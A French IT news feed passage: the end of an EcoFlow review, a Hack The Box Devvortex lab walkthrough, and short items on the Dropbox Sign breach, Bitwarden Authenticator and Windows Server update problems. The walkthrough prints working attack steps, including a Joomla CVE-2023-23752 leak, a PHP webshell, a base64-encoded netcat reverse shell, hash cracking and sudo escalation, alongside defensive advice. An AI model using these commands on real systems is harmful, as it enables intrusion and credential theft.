Facile à transporter avec sa poignée de transport intégrée à la coque, la RIVER 2 Pro d'EcoFlow est facile à utiliser et remplie parfaitement sa mission : fournir de l'énergie à un ou plusieurs appareils. L'application est ergonomique et elle nous donne l'opportunité de configurer l'appareil, selon nos besoins. La fonction d'UPS évoquée dans cet article, ainsi que le X-Boost, sont deux fonctions qui rendent cette station de recharge plus polyvalente.

Lors de ce test, j'ai noté deux points négatifs : le bruit généré par la ventilation de l'appareil. Il est très gênant lorsque la batterie se recharge et l'est un peu moins lorsque la RIVER fournie de l'énergie à des appareils, car c'est plus par intermittence, même si cela dépend de votre utilisation : plus elle est sollicitée, plus elle aura besoin de ventiler pour se refroidir. Et, la poignée qui est mal positionnée bien qu'elle soit indispensable.

Enfin, le fait de pouvoir recharger la batterie à l'aide d'un panneau solaire externe (vendu séparément) offrira certainement un peu plus de liberté et d'autonomie ! Nul doute que ce sera très utile si vous avez l'habitude de partir en camping.

Où acheter la station EcoFlow RIVER 2 Pro ?

L'EcoFlow RIVER 2 Pro est vendue sur plusieurs sites d'e-commerce dont la boutique officielle d'EcoFlow ainsi qu'Amazon. Ci-dessous, vous pouvez utiliser notre lien Amazon pour acheter ce modèle :

L'EcoFlow RIVER 2 Pro est vendue 699.00 euros, ce qui représente un budget non négligeable.

Merci à EcoFlow de m'avoir fourni un exemplaire de cet appareil pour réaliser ce test.

The post Test EcoFlow River 2 Pro – Une station de recharge avec fonction UPS first appeared on IT-Connect.

À partir d’avant-hierIT-Connect

Hack The Box – Résoudre la box Devvortex : outils, méthodes et recommandations pour se protéger

3 mai 2024 à 10:00

I. Présentation

Je vous propose dans cet article la résolution de la machine Hack The Box Devvortex de difficulté "Facile". Cette box est accessible via cette page.

Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.

Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs 🙂

Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".

Technologies abordéesLinux, web, Joomla, MySQL
Outils utilisésnmap, ffuf, JohnTheRipper, searchsploit, CVE, sudo

Retrouvez tous nos articles Hack The Box via ce lien :

II. Résolution de la box Devvortex

A. Découverte et énumération

Pour l'instant, nous ne disposons que de l'adresse IP (10.10.11.242) de notre cible, commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.

Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery

$ nmap --max-retries 1 -T4 -sS -A -v --open -p- -oA nmap-TCPFullVersion 10.10.11.242

Nmap scan report for 10.10.11.242
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

Seuls deux services sont exposés sur le réseau. Nous pouvons également remarquer que l'outil nmap a été interroger le service web et que celui-ci lui a renvoyé une redirection vers http://devvortex.htb/. La commande suivante permet de l'ajouter à notre fichier /etc/hosts pour que notre système puisse le retrouver :

$ echo "10.10.11.242 devvortex.htb" |sudo tee -a /etc/hosts

Il s'agit d'un vhost (voir cet article : Les vHosts sous Apache2). Peut-être le service web en contient-il d'autres, mais comment le savoir ? Ceux-ci ne sont affichés ou indexés nulle part pour le moment. J'utilise donc une technique qui va me permettre d'énumérer les vhosts potentiels à l'aide d'un dictionnaire de mot :

Technique d'attaque (MITRE ATT&CK) : T1595.003 - Active Scanning: Wordlist Scanning

$ ffuf -w $s/Discovery/DNS/subdomains-top1million-20000.txt -u http://devvortex.htb/ -H "Host: FUZZ.devvortex.htb" --fc 302
dev [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 63ms]

La liste de mot (wordlist) utilisée ici est celle de la ressource SecLists, de Daniel Miessler. J'ai ajouté sur mon système une variable "s" qui contient le chemin d'accès vers ces listes (/usr/share/seclists) pour gagner en efficacité.

Via cette énumération de vhost, l'outil ffuf que j'utilise va effectuer des requêtes en changeant à chaque essai le sous domaine dans la requête suivante, mais en interrogeant toujours la même IP, le même service web :

GET / HTTP/1.1
host: FUZZ.devvortex.htb

En identifiant des variations dans la taille de la réponse, les codes de réponse HTTP ou le nombre de lignes/mots dans la réponse, nous pourrons identifier de nouveaux vhosts existants, car 99% des requêtes obtiendront la même réponse d'erreur, sauf pour les vhost existants. Ici, ffuf nous permet d'identifier le vhost dev.devvortex.htb. Que l'on rajoute également à notre fichier /etc/host :

echo "10.10.11.242 dev.devvortex.htb" |sudo tee -a /etc/hosts

Cela peut paraître contre-intuitif de s'intéresser à l'énumération de vhost plutôt que directement aller se renseigner sur ce que fait l'application web principale qui pourrait elle-même contenir des vulnérabilités. Néanmoins, foncer tête baissée sur la première brèche potentielle ou service croisé est un piège qu'il faut savoir éviter. Respecter une méthodologie est très important, notamment lors des phases d'énumération, afin de ne se fermer aucune porte et d'avoir encore de la matière à travailler lorsque nos premières attaques ne sont pas fructueuses.

Soyez sûr d'avoir toutes les cartes (informations) en main avant d'attaquer.

B. Exploitation d'un Joomla non à jour

Voyons à quoi ressemble ce site web en développement :

Il s'agit visiblement d'un site vitrine, dont l’apparence est plutôt commune. L'utilisation d'un CMS (Content Management System) comme WordPress, Joomla ou Drupal est très probable. Nous pouvons valider la présence de ces CMS par la présence de dossiers ou fichiers qui les caractérisent. Par exemple, le contenu du fichier robots.txt :

$ curl http://dev.devvortex.htb/robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
# eg the Disallow rule for the /administrator/ folder MUST
# be changed to read
# Disallow: /joomla/administrator/
#
# For more information about the robots.txt standard, see:
# https://www.robotstxt.org/orig.html

User-agent: *
Disallow: /administrator/
Disallow: /api/
[...]

Pas de doute, il s'agit bien d'un CMS Joomla. En parallèle du déroulement de ma méthodologie propre à Joomla, je lance l'outil nuclei :

Technique d'attaque (MITRE ATT&CK) : T1595 - Active Scanning: Vulnerability Scanning

Nuclei est un scanner de vulnérabilité web open source très intéressant. Il se compose de nombreux modules créés par la communauté. Chaque module est propre à une fuite d'information, une CVE ou une mauvaise configuration précise. La détection se porte notamment sur la détection de mots-clés dans une réponse ou la présence d'un fichier caractéristique d'une CVE/défaut de configuration.

C'est un outil intéressant à lancer en parallèle des opérations manuelles puisqu'il peut vérifier un grand nombre de choses en peu de temps, même les plus improbables.

Manuellement, je récupère la version de Joomla, là aussi grâce à des fichiers qui contiennent classiquement cette information :

$ curl -s http://dev.devvortex.htb/administrator/manifests/files/joomla.xml | xmllint --format -                                                                                                  
<?xml version="1.0" encoding="UTF-8"?>
<extension type="file" method="upgrade">
  <name>files_joomla</name>
  <author>Joomla! Project</author>
  <authorEmail>[email protected]</authorEmail>
  <authorUrl>www.joomla.org</authorUrl>
  <copyright>(C) 2019 Open Source Matters, Inc.</copyright>
  <license>GNU General Public License version 2 or later; see LICENSE.txt</license>
  <version>4.2.6</version>
  <creationDate>2022-12</creationDate>

Avec cette version, nous pouvons effectuer une recherche sur les vulnérabilités connues grâce à searchsploit (voir Recherche rapide dans la base Exploit-DB avec searchsploit) :

La CVE impacte la version 4.2.8 (et probablement les précédentes) et notre version de Joomla est la 4.2.6, voilà qui est intéressant. Il s'agit d'une fuite d'information sans authentification. Si l'on regarde de plus près les résultats de nuclei, il a également remonté cette information (CVE) et nous indique le lien d'accès à la fuite d'information :

$ nuclei -u http://dev.devvortex.htb/                                                                                                                                                                                  
                                                                                                                                                                                                                                      
[...]                                                                                                                                                                                  
[CVE-2023-23752] [http] [medium] http://dev.devvortex.htb/api/index.php/v1/config/application?public=true                                                                                                                             
[...]                                                                                                                                                                     
[joomla-detect:version] [http] [info] http://dev.devvortex.htb/administrator/manifests/files/joomla.xml [4.2.6]                                                                                                                       
[...]

En se rendant sur cette URL (ou en utilisant le script indiqué par searchsploit), nous obtenons effectivement une belle fuite d'informations :

Technique d'attaque (MITRE ATT&CK) : T1190 - Exploit Public-Facing Application

Un login et un mot de passe ! Mon premier réflexe est de les essayer sur l'accès SSH, mais ils donnent en fait accès au panel d'administration du Joomla :

Technique d'attaque (MITRE ATT&CK) : T1078.003 - Valid Accounts: Local Accounts

C. Exécution de commande sur le système

L'administrateur du CMS peut naturellement tout faire, même rajouter un plugin qui lui donnera accès à un webshell PHP. Il en existe des prêts à l'emploi sur GitHub : https://github.com/p0dalirius/Joomla-webshell-plugin

Attention, dans un contexte réel de test d'intrusion (au sens prestation de service), évitez d'utiliser des codes tout fait trouvés sur Internet pour ce genre d'opération. Vous n'êtes pas à l'abri d'un malin qui en profiterait pour utiliser cet accès comme une backdoor pour lui-même, ou qui aurait injecté un code destructeur pour le système cible. Vous devez maîtriser les outils utilisés (faire une revue de code avant utilisation, ou faire votre propre plugin).

Je rajoute donc ce plugin, qui me donne accès à un webshell en PHP :

Technique d'attaque (MITRE ATT&CK) : T1059.004 - Command and Scripting Interpreter: Unix Shell

$ curl "http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php?action=exec&cmd=id"
{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","stderr":"","exec":"id"

$ curl "http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php?action=exec&cmd=echo%20cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEwLjE2LjIxIDkwMDEgPi90bXAvZgo=|base64%20-d|bash"

Vous devez vous interroger sur la deuxième commande. Il s'agit en fait d'une commande encodée en base64. Je génère une commande qui l'affiche avec echo, puis qui la décode et enfin qui exécute le résultat obtenu. Cela me permet d'injecter du code "complexe" sans me soucier des quotes, espaces et autres caractères spéciaux. La commande originale (décodée) est la suivante :

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.21 9001 >/tmp/f

Cette commande crée un pipe et établie une connexion réseau vers l'adresse IP 10.10.16.21 sur le port 9001 (ma machine d'attaque), puis redirige un shell interactif vers cette connexion, permettant un accès distant au système.

L'utilisation de l'encodage base64 est une technique très commune et tellement connue que bon nombre de produits de sécurité considèrent maintenant l'utilisation de la commande base64 comme suspecte, ce qui entraîne des alertes de sécurité.

Après avoir mis un netcat en écoute sur le port 9001 de ma machine, je me retrouve donc avec un accès en tant que www-data sur le serveur :

$ nc -lvp 9001
listening on [any] 9001 ...
connect to [10.10.16.21] from devvortex.htb [10.10.11.242] 49096
sh: 0: can't access tty; job control turned off
$ whoami
www-data

D. Vol des identifiants de l'utilisateur logan

Maintenant que nous avons une première main sur le système, intéressons-nous aux processus et services exécutés. J'utilise la commande netstat pour récupérer les services qui ont un port en écoute :

Technique d'attaque (MITRE ATT&CK) : T1049 - System Network Connections Discovery

$ netstat -petulan |grep "LISTEN"
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      0          23392      883/nginx: worker p 
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      101        22905      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      0          24155      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      114        25609      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      114        25611      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      0          23393      883/nginx: worker p 
tcp6       0      0 :::22                   :::*                    LISTEN      0          24166      -           

Nous voyons, en plus de services que nous connaissons déjà, un service MySQL. Nous avons auparavant récupéré des identifiants que nous pouvons tester sur ce service. Par exemple, pour lister les données de la table "users" du CMS Joomla :

Technique d'attaque (MITRE ATT&CK) : T1078.003 - Valid Accounts: Local Accounts

$ mysql -u lewis -p"P4ntherg0t1n5r3c0n##" -e "use joomla; select * from sd4fg_users"
mysql: [Warning] Using a password on the command line interface can be insecure.
id      name    username        email   password        block   sendEmail       registerDate    lastvisitDate   activation      params  lastResetTime   resetCount      otpKey  otep    requireReset    authProvider
649     lewis   lewis   [email protected]     $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u    0       1       2023-09-25 16:44:24     2023-11-26 10:34:39     0               NULL    0                       0
650     logan paul      logan   [email protected]     $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12    0       0       2023-09-26 19:15:42     NULL            {"admin_style":"","admin_language":"","language":"","editor":"","timezone":"","a11y_mono":"0","a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"}     NULL    0                       0

Nous étions passés à côté de cette information lorsque nous avons eu accès au panel d'administration Joomla, un second utilisateur est présent et nous venons de récupérer le hash de son mot de passe.

Le code d'identification d'un hash, tel que le $2y$, est généralement utilisé pour indiquer l'algorithme de hachage et la version utilisés pour générer l'empreinte. Ici, $2y$ indique que l'empreinte a été générée à l'aide de l'algorithme bcrypt. Il n'est cependant pas obligatoire pour tous les algorithmes.

Vous trouverez une liste très complète des types de hash ainsi que des exemples de format sur le site d'hashcat : https://hashcat.net/wiki/doku.php?id=example_hashes

Nous aurions également pu avoir cette information en utilisant l'outil hashid :

$ hashid '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12'                                                                                                                                                      
Analyzing '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12'                                                                                                                                                                    
[+] Blowfish(OpenBSD) 
[+] Woltlab Burning Board 4.x 
[+] bcrypt 

Utilisons l'outil johntheripper pour casser ce hash et retrouver le mot de passe qui a permis de le générer :

Technique d'attaque (MITRE ATT&CK) : T1110.002 - Brute Force: Password Cracking

$ john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt /tmp/x
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tequieromucho (?)
1g 0:00:00:05 DONE (2023-11-26 21:55) 0.1834g/s 257.6p/s 257.6c/s 257.6C/s dianita..harry
Use the "--show" option to display all of the cracked passwords reliably

Vous noterez que John The Ripper possède lui aussi sa propre méthode de reconnaissance des hash puisqu'il a deviné tout seul qu'il s'agissait de bcrypt. J'utilise également la wordlist "rockyou.txt" comme dictionnaire pour casser ce mot de passe.

Le fichier "rockyou.txt" est un dictionnaire de mots de passe qui a gagné en notoriété en raison de sa taille et de son utilisation fréquente dans les challenges cybersécurité. Son nom vient du fait qu'il a été créé à partir de données compromises de RockYou. En 2009, cette entreprise a subi une fuite d'information où des millions de mots de passe d'utilisateurs ont été compromis. Les données ont ensuite été rendues publiques sur Internet, et le fichier "rockyou.txt" a été créé en utilisant ces informations.

Il contient 14 344 391 mots de passe couramment utilisés, souvent faibles en complexité.

Nous avons donc le mot de passe de l'utilisateur "logan" sur le CMS Joomla, utilise-t-il également ce mot de passe pour son accès SSH ?

Technique d'attaque (MITRE ATT&CK) : T1021.004 - Remote Services: SSH

$ ssh [email protected]
logan@devvortex:~$ cat user.txt
8[REDACTED1

La réponse et oui, sans surprise l'utilisateur réutilise le même mot de passe entre plusieurs services. Nous voilà avec le premier flag et un accès utilisateur au système.

E. Élévation de privilèges via apport-cli et sudo

Quels pourraient être les privilèges et accès spéciaux de l'utilisateur logan ? Je remarque qu'il possède une dérogation d'utilisation de la commande /usr/bin/apport-cli en tant que root via sudo :

Technique d'attaque (MITRE ATT&CK) : T1033 - System Owner/User Discovery

logan@devvortex:~$ sudo -l
[sudo] password for logan:
Matching Defaults entries for logan on devvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cli

Je ne connais pas du tout cette commande, regardons son aide avec l'option --help:

logan@devvortex:~$ /usr/bin/apport-cli --help           
Usage: apport-cli [options] [symptom|pid|package|program path|.apport/.crash file]    
           
Options:   
  -h, --help            show this help message and exit 
  -f, --file-bug        Start in bug filing mode. Requires --package and an           
         optional --pid, or just a --pid. If neither is given,         
         display a list of known symptoms. (Implied if a single        
         argument is given.)             
[...]
  -v, --version         Print the Apport version number.      

logan@devvortex:~$ /usr/bin/apport-cli -v
2.20.11

La lecture de l'aide de la commande (tronquée ci-dessus) ainsi que quelques recherches nous font comprendre qu'elle permet de remplir des tickets de bug à destination des développeurs. Elle dispose notamment d'un mode interactif à l'aide de l'option "-f". Nous pouvons également identifier sa version exacte avec l'option "-v". Je découvre que la CVE-2023-1326 (score CVSS3 : 7.8) affecte cette version :

Visiblement, apport-cli utilise less, une commande qui parait simple et inoffensive, mais qui est en réalité dangereuse lorsque utilisée avec sudo. Less dispose, en effet, d'une fonctionnalité d'exécution de commande :

Ressource : https://gtfobins.github.io/ est une excellente ressource à connaitre. Ce site liste les exploitations possibles des binaires connus sous Linux. C'est très utiles pour savoir quelles sont les fonctionnalités "cachées" et dangereuses d'un binaire exécuté via sudo ou un bit setuid (lire/ écrire dans un fichier privilégié ou pour exécuter des commandes). Ce site peut être utile également aux blue teams pour savoir si les binaires utilisés ou présents sur un système présentent un risque.

https://gtfobins.github.io/

Technique d'attaque (MITRE ATT&CK) : T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Le binaire apport-cli est donc exécuté en tant que root via sudo et utilise less, qui présente des exploitations possibles pour exécuter des commandes, voilà qui nous intéresse. La première étape consiste donc à lancer apport-cli via sudo, qui nous demande le mot de passe de logan. Ensuite, on utilise le mode interactif de apport-cli (-f) et un mode "view report" (-v) nous est proposé, c'est certainement à ce moment-là que less intervient :

Et nous voilà avec les droits root sur le système ! L'attaquant peut alors en faire ce qu'il veut, récupérer toutes les données et les identifiants qui y trainent, installer un keylogger ou l'utiliser comme rebond vers le SI interne, après tout, il est root !

III. Résumé de l'attaque

Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :

TTP (MITRE ATT&CK)Détails
T1046 - Network Service DiscoveryUtilisation de nmap pour découvrir les services exposés sur le réseau
T595.003 - Active Scanning: Wordlist ScanningUtilisation de ffuf pour énumérer les vhost du service web
T1595 - Active Scanning: Vulnerability ScanningIdentification de la version et recherche des CVE associées
T1190 - Exploiting Public-Facing ApplicationExploitation de la CVE-2023-23752 pour récupérer des informations d'authentification
T1078.003 - Valid Accounts: Local AccountsRécupération et découverte d'identifiants dans un fichier sqlite.
T1021.004 - Remote Services: SSHConnexion au serveur SSH compromis
T1059.004 - Command and Scripting Interpreter: Unix ShellAjout d'un plugin PHP Joomla en vue d'obtenir une exécution de commande sur le système
T1049 - System Network Connections DiscoveryRevue des services en écoute sur la cible via netstat et détection d'un service MySQL
T1078.003 - Valid Accounts: Local AccountsConnnexion au service MySQL via les identifiants préalablement récupérés et récupération d'un hash du mot de passe de l'utilisateur logan
T1110.002 - Brute Force: Password CrackingCassage du hash avec johntheripper
T1021.004 - Remote Services: SSHAuthentification en tant que logan sur le service SSH
T1033 - System Owner/User DiscoveryDécouverte des dérogations sudo pour l'utilisateur courant
T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo CachingExploitation de l'utilisation cachée de less par le binaire apport-cli via sudo

IV. Notions abordées

A. Côté attaquant

L'énumération de vhost peut apparaitre comme une étape secondaire, mais elle doit faire partie de votre méthodologie d'énumération. Il est aujourd'hui rare de croiser un service Apache ne faisant tourner qu'un seul site. L'énumération de vhost peut notamment permettre de trouver des applications web non référencées comme celles en développement.

Il est important pour un attaquant de savoir récupérer le plus d'informations possibles sur sa cible afin d'avoir une vue la plus complète possible de la surface d'attaque d'un système, d'un simple script ou d'un réseau entier. Savoir identifier une version exacte et rechercher les CVE associées peut paraitre simple, mais il est très facile de passer à côté de ce type d'information pendant la phase d'énumération. Phase durant laquelle nous avons en général un grand nombre d'informations à vérifier et à collecter.

La collecte et la récupération d'identifiants est également une opération qui doit être réalisée avec minutie. Je vous recommande pendant vos challenges et prestations de scrupuleusement stocker les identifiants récupérés. Également, il est important de réutiliser ces identifiants sur tous les services croisés. La réutilisation des mots de passe entre différents services est quasiment la norme (malheureusement) en entreprise, sans compter les services de SSO qui sont faits pour n'avoir qu'un mot de passe à retenir. Cela peut sembler simple, mais la collecte d'identifiants étant réalisée tout au long de l'attaque, il est facile d'oublier de réutiliser ceux-ci sur tous les services disponibles.

Enfin, connaitre les bonnes ressources est primordiale. Vu le nombre d'informations stockées sur https://gtfobins.github.io/, vous constaterez vite qu'il est impossible de tout retenir et encore moins de se maintenir à jour. Plutôt que de retenir 1 000 informations, il est parfois plus efficace se rappeler les sources où les trouver.

B. Côté défenseur

Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :

Recommandation n°1 : nous pouvons recommander l'application stricte de la directive n°34 du Guide d'hygiène de l'ANSSI : Définir une politique de mise à jour des composants du système d’information. Les applicatifs et systèmes exposés sur le réseau ou sur Internet sont d'autant plus concernés par ce besoin de mise à jour rapide puisqu'ils peuvent être exploités par les attaquants dès la parution d'un code d'exploitation.

Recommandation n°2 : il doit également être recommandé d'utiliser un autre serveur web que le serveur web de production, exposé à internet, pour héberger le site web en développement. Les services en développement sont souvent moins bien protégés et sécurisés que les services en production (la sécurité est souvent le dernier wagon à être rattaché à un projet). Ces environnements en développement sont dans la réalité des cibles très recherchées par les attaquants et ne doivent donc pas être exposés à Internet et être strictement cloisonnés des services et réseau de production.

Recommandation n°3 : Il peut également être recommandé la mise en place d'une politique de mot de passe plus robuste. Pouvoir casser un hash, généré par algorithme de calcul robuste comme bcrypt, en quelques secondes via la wordlist la plus commune est un signal fort que les mots de passe utilisateur ne sont pas suffisamment contraints dans leur complexité. Cela va dans le sens de la directive n°10 du Guide d'hygiène de l'ANSSI : Définir et vérifier des règles de choix et de dimensionnement des mots de passe. Le guide Recommandations relatives à l'authentification multifacteur et aux mots de passe, de l'ANSSI, plus spécifique et complet sur ce sujet, peut également être une ressource à conseiller.

V. Conclusion

J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord :).

Enfin, si vous voulez accéder à des cours et des modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy

The post Hack The Box – Résoudre la box Devvortex : outils, méthodes et recommandations pour se protéger first appeared on IT-Connect.

Piratage de Dropbox Sign : e-mails, mots de passe, clés d’API, etc… volés par le pirate !

3 mai 2024 à 08:06

Vous utilisez Dropbox ? Mauvaise nouvelle : un pirate informatique est parvenu à s'introduire sur le système de Dropbox Sign et il a volé des informations correspondantes aux clients de l'entreprise américaine. Faisons le point.

Dropbox est mondialement connue pour son service de stockage et de partage de fichiers en ligne similaire à OneDrive, Google Drive, etc... Pourtant, ce n'est pas le seul service proposé puisqu'il y en a d'autres, notamment Dropbox Sign. Anciennement appelé HelloSign, il s'agit d'un service en ligne de signature électronique. C'est ce service qui est impacté par l'incident de sécurité.

En effet, le 24 avril 2024, Dropbox a détecté un accès non autorisé à l'environnement de production de son service Dropbox Sign. Un pirate est parvenu à mettre la main sur des identifiants valides ! Grâce à ce compte compromis, Dropbox précise que le pirate a pu accéder à la base de données clients.

Cet incident de sécurité affecte uniquement Dropbox Sign : "D'un point de vue technique, l'infrastructure de Dropbox Sign est largement distincte des autres services Dropbox.", peut-on lire sur le site de Dropbox.

Que contient cette base de données ?

Cette base de données contient des informations sensibles au sujet des utilisateurs, dont le nom d'utilisateur, l'adresse e-mail, le numéro de téléphone, ainsi que le mot de passe du compte. Le précieux sésame n'est pas accessible directement en clair, car une fonction de hachage cryptographique est utilisée avant de stocker l'information.

Ce n'est pas tout ! Le cybercriminel a pu également accéder aux réglages du compte, aux données liées à l'authentification multifacteurs, aux clés d'API et aux jetons oAuth. Des informations précieuses pour faire le pont avec d'autres applications et services.

Cette fuite de données concerne aussi les utilisateurs invités, qui n'ont pas forcément un compte Dropbox Sign : "Pour ceux qui ont reçu ou signé un document via Dropbox Sign, mais qui n'ont jamais créé de compte, les adresses électroniques et les noms ont également été exposés.", peut-on lire sur le site de Dropbox.

Comment se protéger ?

Si vous utilisez Dropbox Sign, vous devez changer votre mot de passe dès que possible et effectuer une nouvelle configuration de l'application MFA pour utiliser une nouvelle clé de génération des codes TOTP. Si vous utilisez ce mot de passe sur d'autres sites, nous vous recommandons de le renouveler également.

De son côté, Dropbox a déjà pris des mesures pour protéger les comptes de ses utilisateurs : "En réponse, notre équipe de sécurité a réinitialisé les mots de passe des utilisateurs, déconnecté les utilisateurs de tous les appareils qu'ils avaient connectés à Dropbox Sign, et coordonne la rotation de toutes les clés API et des jetons OAuth."

Enfin, comme toujours, soyez vigilant, car ces informations pourraient être utilisées pour mettre en place une campagne de phishing ciblée.

Source

The post Piratage de Dropbox Sign : e-mails, mots de passe, clés d’API, etc… volés par le pirate ! first appeared on IT-Connect.

Bitwarden Authenticator, une nouvelle application MFA open source pour Android et iOS

3 mai 2024 à 07:42

Bitwarden Authenticator, c'est le nom de la nouvelle application mobile lancée par Bitwarden ! Son objectif : générer des codes TOTP utilisables dans le cadre de l'authentification multifacteurs (MFA).

Bitwarden, éditeur du célèbre gestionnaire de mots de passe du même nom, a lancé une nouvelle application pour Android et iOS. Cette application sert à générer des mots de passe à usage unique basé sur le temps, c'est-à-dire des codes TOTP (Time-based one-time password), pour les comptes enregistrés dans l'application. Il peut s'agir d'un compte de n'importe quel service ou site web à condition que celui-ci propose l'authentification multifacteurs basée sur cette méthode très répandue.

Dans le gestionnaire de mots de passe Bitwarden, il y a déjà une fonctionnalité pour générer des codes TOTP, mais elle est réservée aux utilisateurs payants. D'ailleurs, cette fonctionnalité sera maintenue : "L'Authenticator intégré restera disponible avec les abonnements payants.", peut-on lire sur le site de Bitwarden.

A contrario, l'application Bitwarden Authenticator est gratuite pour tous les utilisateurs, y compris ceux qui n'utilisent pas Bitwarden. Elle vient s'ajouter à la longue liste des applications de gestion de comptes telles que Microsoft Authenticator, Google Authenticator, FreeOTP ou encore Authy.

Pour ajouter un compte à l'application Bitwarden Authenticator, l'utilisateur n'a qu'une chose à faire : scanner le QR code généré par le service ou le site web.

La feuille de route de Bitwarden Authenticator

Pour le moment, l'application, bien que stable, n'en est qu'à la phase 1 de son lancement. Cela signifie que cette première version est limitée en termes de fonctionnalités, et notamment vis-à-vis des applications concurrentes.

Comme le montre l'image ci-dessous, correspondante à la feuille de route de Bitwarden Authenticator, d'autres fonctionnalités seront ajoutées par la suite. Il y aura notamment la possibilité de synchroniser ses comptes Bitwarden Authenticator sur les serveurs de Bitwarden, et les retrouver dans son coffre-fort de mots de passe. Il est également prévu l'ajout d'un mode de restauration et la prise en charge du 2FA par notifications ("Push-based 2FA").

Source : Bitwarden

Bitwarden Authenticator : une application open source

Sachez que ces applications sont open source, donc leur code source sont disponibles sur GitHub (Android - iOS). Enfin, voici les liens pour télécharger cette application :

Qu'en pensez-vous ?

Source

The post Bitwarden Authenticator, une nouvelle application MFA open source pour Android et iOS first appeared on IT-Connect.

Windows Server : les mises à jour d’avril 2024 provoquent des problèmes avec le trafic NTLM

2 mai 2024 à 07:48

Les contrôleurs de domaine Active Directory sous Windows Server sont affectés par un nouveau problème pouvant engendrer une augmentation significative du trafic associé à l'authentification NTLM. Faisons le point sur ce problème.

Une charge plus élevée et des échecs d'authentification NTLM en masse, voici les conséquences d'un nouveau problème découvert sur les contrôleurs de domaine Active Directory. Il est lié aux mises à jour publiées le 9 avril par Microsoft, à l'occasion du Patch Tuesday d'avril 2024.

Par l'intermédiaire d'un nouveau post sur son site Internet, Microsoft a confirmé l'existence de ce problème. L'entreprise américaine apporte la précision suivante : "Ce problème est susceptible d'affecter les organisations qui ont un très faible pourcentage de contrôleurs de domaine primaires dans leur environnement et un trafic NTLM élevé." - En principe, les entreprises qui ont déjà fait le nécessaire pour désactiver NTLM ou réduire son utilisation au minimum, ne sont pas affectées.

Ce problème est présent uniquement sur les contrôleurs de domaine Active Directory sous Windows Server. Voici la liste des versions de Windows concernées, ainsi que les mises à jour à l'origine du bug :

Microsoft travaille à la résolution de ce dysfonctionnement. Aucun correctif n'est disponible pour le moment. La solution temporaire consiste à désinstaller la mise à jour problématique, si vous ne pouvez pas attendre le futur correctif.

Par ailleurs, Windows Server est affecté par un autre problème, causé par les mêmes mises à jour, et qui impacte les connexions VPN. Ce dysfonctionnement concerne aussi Windows 10 et Windows 11, comme nous l'expliquions dans notre précédent article :

Vous rencontrez ce problème ? N'hésitez pas à nous le dire en commentant cet article !

Source

The post Windows Server : les mises à jour d’avril 2024 provoquent des problèmes avec le trafic NTLM first appeared on IT-Connect.

Microsoft confirme des problèmes de VPN dans Windows, après l’installation de la mise à jour d’avril

2 mai 2024 à 07:30

